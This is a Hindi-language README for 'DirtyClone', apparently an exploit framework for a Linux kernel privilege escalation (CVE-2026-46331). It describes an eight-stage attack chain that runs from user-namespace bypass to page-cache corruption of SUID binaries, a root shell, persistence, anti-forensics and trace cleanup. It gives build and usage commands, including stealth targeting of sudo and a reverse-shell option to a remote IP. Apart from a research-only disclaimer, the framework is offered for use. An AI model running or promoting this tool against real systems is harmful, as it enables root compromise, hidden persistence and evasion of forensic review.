DirtyClone Exploit Framework
CVE-2026-46331 — Linux कर्नेल स्थानीय विशेषाधिकार वृद्धि (Local Privilege Escalation)
TC pedit + IPsec TEE पेज कैश क्षति · प्रभावित कर्नेल: ≤ 6.12.9
╔═══════════════════════════════════════════════════════════════╗
║ ____ _ _ ____ _ ║
║ | _ \(_)_ __| |_ _ _/ ___| | ___ _ __ ___ ║
║ | | | | | '__| __| | | | | | |/ _ \| '_ \ / _ \ ║
║ | |_| | | | | |_| |_| | |___| | (_) | | | | __/ ║
║ |____/|_|_| \__|_, |\____|_|\___/|_| |_|\___| ║
║ |___/ ║
╠═══════════════════════════════════════════════════════════════╣
║ CVE-2026-46331 · v1.0.0 · FOR RESEARCH AND EDUCATION ONLY ║
╚═══════════════════════════════════════════════════════════════╝

⚠️ केवल शैक्षिक और अनुसंधान प्रयोजनों के लिए
इस फ्रेमवर्क का उपयोग केवल अलग-थलग प्रयोगशाला वातावरण (isolated lab environments) में करें जिनके आप स्वामी हैं
या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित प्राधिकरण है।
अनधिकृत उपयोग अवैध और अनैतिक है।
📋 विषय-सूची
🔬 भेद्यता अवलोकन
CVE-2026-46331 Linux कर्नेल (≤ 6.12.9) में एक स्थानीय विशेषाधिकार वृद्धि भेद्यता है, जो TC (cls_act) pedit क्रिया और IPsec TEE-आधारित पैकेट प्रतिलिपि के बीच प्रतिस्पर्धा स्थिति (race condition) के कारण उत्पन्न होती है।
मूल कारण
जब कोई पैकेट TC egress पथ से pedit क्रिया के साथ गुजरता है जो IHL = 15 सेट करती है, तो कर्नेल का IPsec सबसिस्टम एक विकृत पैकेट प्राप्त करता है जहाँ परिकलित IP पेलोड ऑफसेट वास्तविक पैकेट सीमाओं से अधिक होता है। समवर्ती sendfile(2) संचालनों के अंतर्गत, यह बेमेल एक अविशेषाधिकृत उपयोगकर्ता (user namespace के अंदर CAP_NET_ADMIN के साथ) को मनमानी फ़ाइलों — जिनमें SUID बाइनरी भी शामिल हैं — के केवल-पठनीय पेज कैश प्रविष्टियों को दूषित करने की अनुमति देता है।
प्रभाव
🔗 आक्रमण श्रृंखला
Unprivileged User (UID=1000)
│
▼
[1] Reconnaissance
├─ Kernel version check
├─ userns availability
└─ Target binary profiling
│
▼
[2] Namespace Bypass
├─ unshare(CLONE_NEWUSER|CLONE_NEWNET)
├─ AppArmor profile hopping (fallback)
└─ CAP_NET_ADMIN acquired
│
▼
[3] Network Infrastructure
├─ clsact qdisc on lo
├─ pedit filter (IHL=15)
└─ IPsec ESP + TEE
│
▼
[4] Page Cache Corruption
├─ sendfile → pedit trigger
├─ Page cache entry corrupted
└─ Shellcode written to read-only binary
│
▼
[5] Privilege Escalation
└─ execve(SUID binary) → root shell
│
▼
[6-8] Post-Exploitation
├─ Persistence (6 mechanisms)
├─ Evasion / Anti-Forensics
└─ Trace cleanup
│
▼
🎯 ROOT SHELL (UID=0 EUID=0)
📁 प्रोजेक्ट संरचना
dirtyclone-exploit/
├── Makefile # Build system
├── README.md # This file
├── LICENSE # MIT License
│
├── include/
│ ├── exploit.h # Core types, flags, prototypes
│ ├── packet_engine.h # Packet crafting engine API
│ ├── memory_ops.h # Page cache corruption API
│ └── persistence.h # Persistence mechanism API
│
├── src/
│ ├── main.c # Framework entry point
│ ├── stage_env_analysis.c # Phase 1: Reconnaissance
│ ├── stage_namespace_bypass.c # Phase 2: userns bypass
│ ├── stage_network_setup.c # Phase 3: TC/IPsec setup
│ ├── stage_page_cache_corrupt.c # Phase 4: Core exploit
│ ├── stage_privilege_escalation.c # Phase 5: LPE
│ ├── stage_persistence.c # Phase 6: Persistence
│ ├── stage_evasion.c # Phase 7: Anti-forensics
│ ├── stage_cleanup.c # Phase 8: Trace removal
│ ├── memory_ops.c # Page cache primitives
│ ├── packet_engine.c # Raw packet crafting
│ └── persistence.c # Persistence implementations
│
├── modules/
│ ├── packet_craft.py # Python packet crafter (Scapy)
│ └── exploit_analyzer.py # Pre-exploit analysis tool
│
├── scripts/
│ ├── setup_env.sh # Dependency install + build
│ ├── cleanup.sh # System cleanup
│ └── detect_targets.sh # Vulnerable binary scanner
│
└── payloads/
└── README.md # Payload directory info
⚙️ आवश्यकताएँ
संकलन-समय
gcc ≥ 10
make
libcap-dev / libcap-devel
रनटाइम (Linux लक्ष्य)
- कर्नेल ≤ 6.12.9
iproute2 (tc, ip)
iptables
- अविशेषाधिकृत उपयोगकर्ता नेमस्पेस सक्षम
पायथन मॉड्यूल (वैकल्पिक)
🔧 निर्माण और स्थापना
# Clone
git clone https://github.com/vulnquest58/dirtyclone-exploit
cd dirtyclone-exploit
# Auto setup (installs deps + builds)
sudo bash scripts/setup_env.sh
# Manual build
make all
# Debug build
make debug
# Clean
make clean
🚀 उपयोग
# Show help
./bin/dirtyclone --help
# Dry run (analysis only, no exploitation)
./bin/dirtyclone --test
# Basic exploitation (default target: /usr/bin/su)
sudo ./bin/dirtyclone
# Custom target with stealth + persistence
sudo ./bin/dirtyclone --target /usr/bin/sudo --stealth --persist
# Reverse shell
sudo ./bin/dirtyclone --remote 192.168.1.100 4444 --cleanup
# Detect vulnerable targets first
bash scripts/detect_targets.sh
🐍 पायथन मॉड्यूल
exploit_analyzer.py — शोषण-पूर्व टोही
# Analyze default target
python3 modules/exploit_analyzer.py
# Custom target
python3 modules/exploit_analyzer.py --target /usr/bin/sudo
# JSON output for automation
python3 modules/exploit_analyzer.py --json
# Scan all SUID binaries
python3 modules/exploit_analyzer.py --all-suid
packet_craft.py — कच्चा पैकेट ट्रिगर
# Send exploit packets at offset 0x1234
sudo python3 modules/packet_craft.py --offset 0x1234
# Custom interface and packet count
sudo python3 modules/packet_craft.py --iface eth0 --count 20
🛡️ रक्षात्मक शमन
📅 समयरेखा
📚 संदर्भ
👤 लेखक
VulnQuest · सुरक्षा अनुसंधान
यह रिपॉजिटरी केवल शैक्षिक प्रयोजनों के लिए प्रदान की गई है।
सभी शोषण कोड अधिकृत प्रयोगशाला वातावरण में उपयोग के लिए है।